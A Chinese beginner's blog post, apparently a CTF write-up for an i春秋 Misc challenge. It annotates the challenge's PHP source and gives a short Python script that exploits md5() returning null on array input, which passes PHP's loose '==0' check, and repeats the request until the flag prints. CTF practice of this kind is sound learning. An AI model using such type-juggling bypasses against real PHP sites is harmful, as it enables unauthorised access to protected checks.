乔悟空-CTF-i春秋-Misc-爆破3

hehe,第一次用这个,开始CTF刷题之旅

2020.09.02

题目地址

学习

题目分析

下边是题目给的php源码,意思就是进行源码审计,分析出能输出flag的条件。
这东西我是真小白,so,积累经验吧~

<?php 
error_reporting(0);#报错不输出
session_start();#开始一个session会话
require('./flag.php');#引入flag.php文件
if(!isset($_SESSION['nums'])){#如果nums值没有被设置就如下赋值,相当于初始化
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){#最长连接120s
  session_destroy();
}

$value = $_REQUEST['value'];#从url中取value值
$str_rand = range('a', 'z');#包含a=》z之间的数组
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];#上一行数组中的随机两个字母拼接到一起

#第一个条件是whoami与输入的value值相同,第二个条件是value值从第五个开始截取4位弱等于0
#第一个条件通过初始值为ea,后续值有输出所以可以满足,
#第二个条件不好满足,所以通过md5输入数组返回null来满足弱等于0
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;#每一次被访问都会生成一个新的随机值
  echo $str_rands;
}

if($_SESSION['nums']>=10){#在被访问,并且满足上边条件累计10次后,输出flag
  echo $flag;
}

show_source(__FILE__);#我们能看见这串代码的原因……
?>

解题步骤

python脚本来实现上述要求,当然手工输入也是可以的。
以前是半小时手工试,学会python后是半小时写代码🤦‍♂️
慢慢练,用得多了就熟了……

import requests

url = b'http://7b1ce18bce9b4628b40a82b0f54ea03b4f5205a185ae4a3d.changame.ichunqiu.com/?value[]='
session = requests.session()
value = b'ea'#不知道为啥这地方非得让加上b,知道的大哥可以告诉一下
rs = session.get(url+value)
for i in range(20):
    value = rs.content[0:2]
    rs = session.get(url+value)
print(rs.content)

拙劣的py……👨‍🦯勉强能得到结果

总结

time()

返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。

$_REQUEST()

默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。

posted @ 2020-09-02 10:23  乔悟空  阅读(224)  评论(0编辑  收藏  举报